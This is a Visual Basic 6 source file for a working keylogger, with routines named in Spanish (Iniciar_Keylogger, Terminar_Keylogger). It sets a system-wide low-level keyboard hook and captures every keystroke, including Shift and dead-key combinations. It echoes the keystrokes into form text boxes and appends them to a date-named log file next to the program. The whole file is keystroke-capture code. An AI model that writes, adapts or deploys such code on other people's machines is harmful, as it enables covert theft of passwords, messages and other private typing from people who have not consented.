Option Explicit

Private Declare Function LoadLibrary Lib "kernel32.dll" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As Long
Private Declare Function GetProcAddress Lib "kernel32.dll" (ByVal hModule As Long, ByVal lpProcName As String) As Long

Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hMod As Long, ByVal dwThreadId As Long) As Long
Private Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long

Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (pDest As Any, pSource As Any, ByVal cb As Long)

Public Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Private Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long

Private Type KBDLLHOOKSTRUCT
  vkCode As Long
  scanCode As Long
  flags As Long
  time As Long
  dwExtraInfo As Long
End Type

Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Public Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long

Public Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)
Public Const KEYEVENTF_KEYDOWN = &H0
Public Const KEYEVENTF_EXTENDEDKEY = &H1
Public Const KEYEVENTF_KEYUP = &H2


' Low-Level Keyboard Constants
Private Const HC_ACTION = 0
Private Const LLKHF_EXTENDED = &H1
Private Const LLKHF_INJECTED = &H10
Private Const LLKHF_ALTDOWN = &H20
Private Const LLKHF_UP = &H80

' Virtual Keys
Public Const VK_TAB = &H9
Public Const VK_CONTROL = &H11
Public Const VK_ESCAPE = &H1B
Public Const VK_DELETE = &H2E
Public Const VK_SHIFT = &HA0
Public Const VK_RSHIFT = &HA1

Private Const WH_KEYBOARD_LL = 13&
'Private Const WH_KEYBOARD_LL As Long = 13

Public Const WM_KEYDOWN = &H100
Public Const WM_KEYUP = &H101
Public Const WM_CHAR = &H102
Public Const WM_DEADCHAR = &H103
Private Const WM_SYSKEYDOWN = &H104
Private Const WM_SYSKEYUP = &H105
Private Const WM_SYSCHAR = &H106
Private Const WM_SYSDEADCHAR = &H107
Private Const WM_IME_KEYDOWN = &H290

Public Buffer_Len   As Integer
Public nFile       As Integer

Dim Log_Path As String

Dim Last_Key As Long
Dim Last_Msg As Long
Dim Last_Shift As Boolean
Dim Shift_Trigger As Boolean

Dim hHook As Long

Public Sub Iniciar_Keylogger()
    'Dim hMod As Long
    Dim Header As String
    
    Last_Key = 0
    Last_Msg = 0
    Last_Shift = False
    Shift_Trigger = False
    
    Buffer_Len = 30
    Form1.txtLog.Text = vbNullString
    Log_Path = App.Path & "\" & Format(Date, "yyyy-MM-dd")
    nFile = FreeFile
    
    Open Log_Path For Binary Access Write As #nFile
    
    If LOF(nFile) > 0 Then
        Seek #nFile, LOF(nFile) + 1
    End If
    
    Header = "[KEYLOGGER 1.0 - " & Format(Date, "yyyy-MM-dd hh:mm") & "]" & vbCrLf & "[INI]" & vbCrLf
    
    Put #nFile, , Header
    
    'hMod = GetProcAddress(LoadLibrary("USER32"), "SetWindowsHookExA")
    'hHook = Invoke(hMod, WH_KEYBOARD_LL, AddressOf KBProc, 0, 0)

    hHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf KBProc, App.hInstance, 0&) 'App.hInstance
End Sub

Private Function KBProc(ByVal nCode As Long, ByVal wParam As Long, lParam As Long) As Long
    'On Error Resume Next
    
    'Static KBMsg As KBDLLHOOKSTRUCT
    Static i As Long
            
    i = i + 1
    
    If (nCode = HC_ACTION) Then
    
        'Call CopyMemory(KBMsg, ByVal lParam, Len(KBMsg))
            
            If (wParam = WM_KEYDOWN Or wParam = WM_SYSKEYDOWN) Then
                
                If (lParam = 186) Then
                    If Shift_Trigger Then
                        Call Add_Text(Form1.txtLog, "^")
                    Else
                        Call Add_Text(Form1.txtLog, "`")
                    End If
                    Shift_Trigger = False
                ElseIf (lParam = 222) Then
                    If Shift_Trigger Then
                        Call Add_Text(Form1.txtLog, "¨")
                    Else
                        Call Add_Text(Form1.txtLog, "´")
                    End If
                    Shift_Trigger = False
                Else
                    If (Last_Key = 186 Or Last_Key = 222 Or lParam = 8) Then
                        Call Add_Text(Form1.txtLog, Chr(lParam))
                    Else
                        Call PostMessage(Form1.txtLog.hWnd, wParam, lParam, 0&)
                    End If
                End If
                
                'Detecta si shift está presionado
                If (lParam = VK_SHIFT Or lParam = VK_RSHIFT) Then Last_Shift = True
                Call Add_Text(Form1.Text2, "[" & i & "]   DOWN   " & lParam & "   " & Last_Shift & vbNewLine)
            End If
            
            If (wParam = WM_KEYUP Or wParam = WM_SYSKEYUP) Then
                
                If (lParam = 186 Or lParam = 222) Then
                    If Last_Shift Then
                        Shift_Trigger = True
                    End If
                End If
                
                'Detecta si shift se dejó de presionar
                If (lParam = VK_SHIFT Or lParam = VK_RSHIFT) Then Last_Shift = False
                
                Call Add_Text(Form1.Text2, "[" & i & "]   UP          " & lParam & "   " & Last_Shift & vbNewLine)
            End If
            
            Last_Msg = wParam
            Last_Key = lParam
    End If
    
    KBProc = CallNextHookEx(hHook, nCode, wParam, lParam)
End Function

Public Sub Add_Text(objTextBox As TextBox, sText As String)
    objTextBox.Text = objTextBox.Text & sText
    objTextBox.SelStart = Len(objTextBox.Text)
End Sub

Public Sub Terminar_Keylogger()
    'Dim hMod As Long
    
    'hMod = GetProcAddress(LoadLibrary("USER32"), "UnhookWindowsHookEx")
    'Call Invoke(hMod, hHook)

    Call UnhookWindowsHookEx(hHook)
    
    If Len(Form1.txtLog.Text) > 0 Then
        Put #nFile, , Form1.txtLog.Text
    End If
    
    
    Put #nFile, , "[FIN]" & vbCrLf
    Close #nFile
End Sub

Private Sub Form_Load()
    Call Iniciar_Keylogger
End Sub

Private Sub Form_Unload(Cancel As Integer)
    Call Terminar_Keylogger
End Sub

Private Sub txtLog_KeyPress(KeyAscii As Integer)
    If Len(txtLog.Text) > Buffer_Len Then
        Put #nFile, , txtLog.Text
        txtLog.Text = vbNullString
    End If
End Sub